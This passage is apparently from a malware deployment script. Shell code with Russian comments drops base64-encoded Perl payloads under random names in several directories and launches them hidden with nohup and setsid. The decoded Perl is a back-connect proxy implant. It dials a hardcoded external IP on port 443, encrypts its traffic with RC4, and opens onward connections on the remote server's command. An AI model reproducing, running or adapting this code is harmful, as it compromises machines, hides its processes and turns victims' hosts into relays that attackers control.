a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #28 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #28 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 29 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xNzgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg 